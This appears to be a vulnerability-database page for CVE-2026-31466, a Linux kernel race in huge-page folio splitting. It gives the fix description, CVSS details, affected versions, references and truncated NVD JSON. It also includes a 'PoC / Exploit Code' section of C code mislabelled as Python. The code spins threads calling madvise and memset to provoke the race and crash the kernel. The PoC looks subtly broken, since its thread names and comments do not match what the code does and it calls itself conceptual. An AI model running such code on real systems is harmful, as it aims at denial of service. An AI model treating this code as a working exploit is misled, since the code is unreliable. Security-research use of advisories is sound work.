CVE-2026-31466

Description

In the Linux kernel, the following vulnerability has been resolved: mm/huge_memory: fix folio isn't locked in softleaf_to_folio() On arm64 server, we found folio that get from migration entry isn't locked in softleaf_to_folio(). This issue triggers when mTHP splitting and zap_nonpresent_ptes() races, and the root cause is lack of memory barrier in softleaf_to_folio(). The race is as follows: CPU0 CPU1 deferred_split_scan() zap_nonpresent_ptes() lock folio split_folio() unmap_folio() change ptes to migration entries __split_folio_to_order() softleaf_to_folio() set flags(including PG_locked) for tail pages folio = pfn_folio(softleaf_to_pfn(entry)) smp_wmb() VM_WARN_ON_ONCE(!folio_test_locked(folio)) prep_compound_page() for tail pages In __split_folio_to_order(), smp_wmb() guarantees page flags of tail pages are visible before the tail page becomes non-compound. smp_wmb() should be paired with smp_rmb() in softleaf_to_folio(), which is missed. As a result, if zap_nonpresent_ptes() accesses migration entry that stores tail pfn, softleaf_to_folio() may see the updated compound_head of tail page before page->flags. This issue will trigger VM_WARN_ON_ONCE() in pfn_swap_entry_folio() because of the race between folio split and zap_nonpresent_ptes() leading to a folio incorrectly undergoing modification without a folio lock being held. This is a BUG_ON() before commit 93976a20345b ("mm: eliminate further swapops predicates"), which in merged in v6.19-rc1. To fix it, add missing smp_rmb() if the softleaf entry is migration entry in softleaf_to_folio() and softleaf_to_page(). [[email protected]: update function name and comments]

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (stable branches prior to patch 426ee10711586617da869c8bb798214965337617)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31466
 * Concept: Trigger race condition between folio split and zap.
 * Note: This is a conceptual PoC to stress the memory management subsystem.
 * Successful exploitation requires precise timing and kernel configuration.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <pthread.h>
#include <string.h>

#define MEM_SIZE (1024 * 1024 * 100) // 100 MB

void *thread_split(void *arg) {
    // Simulate operations that might trigger deferred_split_scan
    // In real scenarios, memory pressure triggers this, but we can try
    // to manipulate huge pages via madvise.
    char *mem = (char *)arg;
    while (1) {
        // MADV_DONTNEED can trigger zap operations
        madvise(mem, MEM_SIZE, MADV_DONTNEED);
        usleep(1);
    }
    return NULL;
}

void *thread_zap(void *arg) {
    char *mem = (char *)arg;
    while (1) {
        // Access and hint to kernel to manipulate pages
        memset(mem, 0x41, 4096);
        madvise(mem, 4096, MADV_DONTNEED);
        usleep(1);
    }
    return NULL;
}

int main() {
    // Allocate memory with Transparent Huge Pages (THP) likely enabled
    char *mem = mmap(NULL, MEM_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    // Touch memory to allocate pages
    memset(mem, 0x42, MEM_SIZE);

    printf("Starting race condition threads for CVE-2026-31466...\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_split, mem);
    pthread_create(&t2, NULL, thread_zap, mem);

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);

    munmap(mem, MEM_SIZE);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31466
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31466
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31466/
[4] VulDB https://vuldb.com/cve/CVE-2026-31466
[5] https://git.kernel.org/stable/c/426ee10711586617da869c8bb798214965337617
[6] https://git.kernel.org/stable/c/4c5e7f0fcd592801c9cc18f29f80fbee84eb8669
[7] https://git.kernel.org/stable/c/722cfaf6b31d31123439e67b5deac6b1261a3dea
[8] https://git.kernel.org/stable/c/7ad1997b9bc8032603df8f091761114479285769
[9] https://git.kernel.org/stable/c/7ddcf4a245c1c5a91fdd9698757e3d95179ffe41
[10] https://git.kernel.org/stable/c/8bfb8414e9f2ce6f5f2f0e3d0da52f2d132128e7
[11] https://git.kernel.org/stable/c/b8c49ad888892ad7b77062b9c102b799a3e9b4f8
[12] https://git.kernel.org/stable/c/f1acf5887c2bbaf998dc3fe32c72b7a8b84a3ddd

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31466", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:42.780", "lastModified": "2026-05-07T18:25:42.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/huge_memory: fix folio isn't locked in softleaf_to_folio()\n\nOn arm64 server, we found folio that get from migration entry isn't locked\nin softleaf_to_folio(). This issue triggers when mTHP splitting and\nzap_nonpresent_ptes() races, and the root cause is lack of memory barrier\nin softleaf_to_folio(). The race is as follows:\n\n\tCPU0 CPU1\n\ndeferred_split_scan() zap_nonpresent_ptes()\n lock folio\n split_folio()\n unmap_folio()\n change ptes to migration entries\n __split_folio_to_order() softleaf_to_folio()\n set flags(including PG_locked) for tail pages folio = pfn_folio(softleaf_to_pfn(entry))\n smp_wmb() VM_WARN_ON_ONCE(!folio_test_locked(folio))\n prep_compound_page() for tail pages\n\nIn __split_folio_to_order(), smp_wmb() guarantees page flags of tail pages\nare visible before the tail page becomes non-compound. smp_wmb() should\nbe paired with smp_rmb() in softleaf_to_folio(), which is missed. As a\nresult, if zap_nonpresent_ptes() accesses migration entry that stores tail\npfn, softleaf_to_folio() may see the updated compound_head of tail page\nbefore page->flags.\n\nThis issue will trigger VM_WARN_ON_ONCE() in pfn_swap_entry_folio()\nbecause of the race between folio split and zap_nonpresent_ptes()\nleading to a folio incorrectly undergoing modification without a folio\nlock being held.\n\nThis is a BUG_ON() before commit 93976a20345b (\"mm: eliminate further\nswapops predicates\"), which in merged in v6.19-rc1.\n\nTo fix it, add missing smp_rmb() if the softleaf entry is migration entry\nin softleaf_to_folio() and softleaf_to_page().\n\n[[email protected]: update function name and comments]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5817BDB6-4C64-4AB6-83FF-CC693A5E4906"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1 ... (truncated)